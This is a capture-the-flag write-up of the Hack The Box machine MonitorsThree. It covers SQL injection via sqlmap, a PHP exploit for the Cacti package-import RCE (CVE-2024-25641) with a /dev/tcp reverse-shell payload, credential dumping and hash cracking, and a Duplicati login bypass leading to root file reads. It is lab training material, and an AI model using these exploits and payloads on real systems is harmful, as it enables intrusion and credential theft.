Hackthebox: MonitorsThree

Foued SAIDI Lv4

Overview

MonitorsTree is a medium-difficulty machine from Hack The Box dealing initially with an SQL injection in the forgot_password recovery field which will give us a password to access a hidden cacti subdomain where we’ll be abusing CVE-2024-25641 that deals with an RCE through a malicious package import in the cacti admin panel. Later we’ll get some creds from the config files on the machine and get our user flag. Finally we’ll be exploiting an internal Duplicato instance by first bypassing the athentication portal through some cool tricks and then abusing the backup creation feature to get our root flag.

MonitorsThree-info-card
MonitorsThree-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
PS C:\Users\0xkujen> nmap -A -Pn 10.129.194.189
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-24 20:03 W. Central Africa Standard Time
NSOCK ERROR [0.3300s] ssl_init_helper(): OpenSSL legacy provider failed to load.

Nmap scan report for 10.129.194.189
Host is up (0.23s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86f87d6f4291bb897291af72f301ff5b (ECDSA)
|_ 256 50f9ed8e73649eaaf6089514f0a60d57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8084/tcp filtered websnp
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=8/24%OT=22%CT=1%CU=30593%PV=Y%DS=2%DC=T%G=Y%TM=66CA2EC
OS:C%P=i686-pc-windows-windows)SEQ(SP=F4%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(CI=Z%II=I)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54ES
OS:T11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5
OS:=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%
OS:T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(
OS:R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see that we have our usual ssh port open, and 2 web application: one hosted on port 80 redirecting us to monitorsthree.htb that we should add to our /etc/hosts, and one exposed on port 8084 but is filtered and we don’t know what’s really going on with it.

Also doing some subdomain enumeration, I found out that there is a cacti subdomain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS C:\Users\0xkujen\Tools\ffuf> .\ffuf.exe -w ..\SecLists\Discovery\DNS\bitquark-subdomains-top100000.txt -H "Host: FUZZ.monitorsthree.htb" -u "http://10.129.194.189" -fs 13560

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.129.194.189
:: Wordlist : FUZZ: C:\Users\0xkujen\Tools\SecLists\Discovery\DNS\bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.monitorsthree.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 13560
________________________________________________

cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 239ms]ors: 0 ::

Web Application - http://monitorsthree.htb

Web App
Web App

A simple login interface.

At first, I tought this would be a simple cacti exploit like MonitorsTwo machine, however it was not the case.
Exhausting all my thought, I tried to go for SQL injection under the main monitorsthree.htb. Going for the main login interface would not give us anything back, however, targeting the “forgot_password” endpoint will give us some juicy data.

Web App
Web App

I won’t be explaing the whole process of getting the SQLI because the payload takes a long time to redo, but here are the steps:
Send a request to http://monitorsthree.htb/forgot_password.php => save the request under “request.txt” => sqlmap -r request.txt --level=5 --risk=3 --batch => eventually the payload will look like this: sqlmap -r request.txt -p username --sql-query "x' AND (SELECT 2000 FROM (SELECT(SLEEP(5)))GcxH) AND 'DeaG'='DeaG'" -D monitorsthree_db -T users -C password --dump (I got the sql query from sqlmap, discovered monitorsthree_db with users table and password column)
And we will get this user hash: 31a181c8372e3afc59dab863430610e8
We crack the password using https://crackstation.net and we get greencacti2001

CVE-2024-25641 - Cacti RCE during package import

Now let’s login into the cacti portal using admin:greencacti2001:

CVE-2024-25641
CVE-2024-25641

While digging into cacti, I stumbled upon this critical Cacti security advisory
First we’ll have to create and exploit.php file and run it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$xmldata = "<xml>
<files>
<file>
<name>resource/test.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = "<?php system('sh -i >& /dev/tcp/10.10.x.x/9001 0>&1'); ?>";
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>

Now we have a test.xml.gz package that we’ll import to cacti Import/Export -> Import Packages:

CVE-2024-25641
CVE-2024-25641

Now we navigate to http://cacti.monitorsthree.htb/cacti/resource/test.php and we get our shell:

1
2
3
4
5
6
7
8
9
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.194.189] 55776
bash: cannot set terminal process group (1197): Inappropriate ioctl for device
bash: no job control in this shell
www-data@monitorsthree:~/html/cacti/resource$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@monitorsthree:~/html/cacti/resource$

As usual we look for database credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
www-data@monitorsthree:~/html/cacti/include$ cat config.php
cat config.php
<?php
/*
+-------------------------------------------------------------------------+
| Copyright (C) 2004-2023 The Cacti Group |
| |
| This program is free software; you can redistribute it and/or |
| modify it under the terms of the GNU General Public License |
| as published by the Free Software Foundation; either version 2 |
| of the License, or (at your option) any later version. |
| |
| This program is distributed in the hope that it will be useful, |
| but WITHOUT ANY WARRANTY; without even the implied warranty of |
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| GNU General Public License for more details. |
+-------------------------------------------------------------------------+
| Cacti: The Complete RRDtool-based Graphing Solution |
+-------------------------------------------------------------------------+
| This code is designed, written, and maintained by the Cacti Group. See |
| about.php and/or the AUTHORS file for specific developer information. |
+-------------------------------------------------------------------------+
| http://www.cacti.net/ |
+-------------------------------------------------------------------------+
*/

/**
* Make sure these values reflect your actual database/host/user/password
*/

$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;

/**
* When the cacti server is a remote poller, then these entries point to
* the main cacti server. Otherwise, these variables have no use and
* must remain commented out.
*/

#$rdatabase_type = 'mysql';
#$rdatabase_default = 'cacti';
#$rdatabase_hostname = 'localhost';
#$rdatabase_username = 'cactiuser';
#$rdatabase_password = 'cactiuser';
#$rdatabase_port = '3306';
#$rdatabase_retries = 5;
#$rdatabase_ssl = false;
#$rdatabase_ssl_key = '';
#$rdatabase_ssl_cert = '';
#$rdatabase_ssl_ca = '';

<snip>
www-data@monitorsthree:~/html/cacti/include$

Now we connect to the database and get some credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
www-data@monitorsthree:~/html/cacti/include$ mysql -u cactiuser -pcactiuser
mysql -u cactiuser -pcactiuser
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 1227
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> select * from user_auth;
select * from user_auth;
ERROR 1046 (3D000): No database selected
MariaDB [(none)]> use cacti;
use cacti;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [cacti]> select * from user_auth;
select * from user_auth;
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| 1 | admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G | 0 | Administrator | [email protected] | | | on | on | on | on | 2 | 1 | 1 | 1 | 1 | on | -1 | -1 | -1
| | 0 | 0 | 436423766 |
| 3 | guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu | 0 | Guest Account | [email protected] | | | on | on | on | | 1 | 1 | 1 | 1 | 1 | | -1 | -1 | -1
| | 0 | 0 | 3774379591 |
| 4 | marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK | 0 | Marcus | [email protected] | | on | on | on | on | on | 1 | 1 | 1 | 1 | 1 | on | -1 | -1 |
| | 0 | 0 | 1677427318 |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3 rows in set (0.000 sec)

MariaDB [cacti]>

Funnily, marcus’s hash crack to:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Hackthebox/MonitorsTHree]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678910 (?)
1g 0:00:00:02 DONE (2025-01-17 12:02) 0.4132g/s 193.3p/s 193.3c/s 193.3C/s 12345678910..christina
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Let’s login to marcus and get our user flag:

1
2
3
marcus@monitorsthree:~$ cat user.txt
cat user.txt
1c6a0157d2f099******************

Privilege Escalation to root - Duplicati Abuse

Looking at open connections on the machine, we find a weird 8200 port:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
marcus@monitorsthree:~$ netstat -anot
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:42377 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:8084 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 10.129.194.189:58980 10.10.x.x:9001 ESTABLISHED off (0.00/0/0)
tcp 0 260 10.129.194.189:22 10.10.x.x:50330 ESTABLISHED on (0.21/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
marcus@monitorsthree:~$

Let’s ssh again and forward that port to our local machine:

Duplicati
Duplicati

We can see that this is a Duplicati instance running locally. However we need the password for it.
Doing some ninja searches on the machine we find that there is a /opt/duplicati/config/Duplicati-server.sqlite database file, let’s get it on our machine and have a look at it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali㉿kali)-[~/Hackthebox/MonitorsTHree]
└─$ sqlite3 Duplicati-server.sqlite
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
Backup Log Option TempFile
ErrorLog Metadata Schedule UIStorage
Filter Notification Source Version
sqlite> select * from Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4||--no-encryption|true
-1||--asynchronous-upload-limit|50
-1||--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|9fbb9227-aa94-469c-b2b4-1bf570ad6df1
-2||server-passphrase-trayicon-hash|mGRftbmcokXLmTPABI7w35XhvzOUDAX/Pk7fhzGmNSU=
-2||last-update-check|638727013612599570
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
sqlite>

When entering any password and capturing the request with burp, I can see the Salt value that I just got from the DB:

Duplicati
Duplicati

I found this Github Issue talking about how to bypass the login using the DB passphrase.

1- Decode the server passphrase value from base64 => convert to hexadecimal (hex) format:

1
2
3
4
┌──(kali㉿kali)-[~/Hackthebox/MonitorsTHree]
└─$ echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

2- Then, launch BurpSuite and activate intercept option.
3- Go to the Duplicati login page under http://127.0.0.1:8200 and enter any dummy password.
4- Intercept the login request and “Right click => Do intercept => Response to this request”
5- Forward it
6- Capture the new nonce from that request (nonce is variant with each request while The passphrase hex is fixed)
7- Execute this command on a JS console on your browser in order to generate a password for that exact nonce:

1
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('<nonce value>') + '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a')).toString(CryptoJS.enc.Base64); 

8- Now forward the request and you’ll be prompted with a password field where you should put the new password (matching your nonce), and you’re logged in!

Duplicati
Duplicati

Backup abuse to root

Click to add a new backup and set the folder path for it to /source/tmp:

Duplicati
Duplicati

Now manually add the source data path to /source/root/root.txt:

Duplicati
Duplicati

Now I can see the backup I created on the home page:

Duplicati
Duplicati

I will then head to restore feature and restore the file to marcus’s home directory:

Duplicati
Duplicati

Duplicati
Duplicati

And now we get our root flag on marcus’s home directory:

1
2
3
marcus@monitorsthree:~/root$ cat root.txt 
e7fd1dad66145a******************
marcus@monitorsthree:~/root$

And that was it for MonitorsThree! Hope you learned something new!
-0xkujen

  • Title: Hackthebox: MonitorsThree
  • Author: Foued SAIDI
  • Created at : 2025-01-17 10:03:08
  • Updated at : 2025-01-18 17:54:38
  • Link: https://kujen5.github.io/2025/01/17/Hackthebox-MonitorsThree/
  • License: This work is licensed under CC BY-NC-SA 4.0.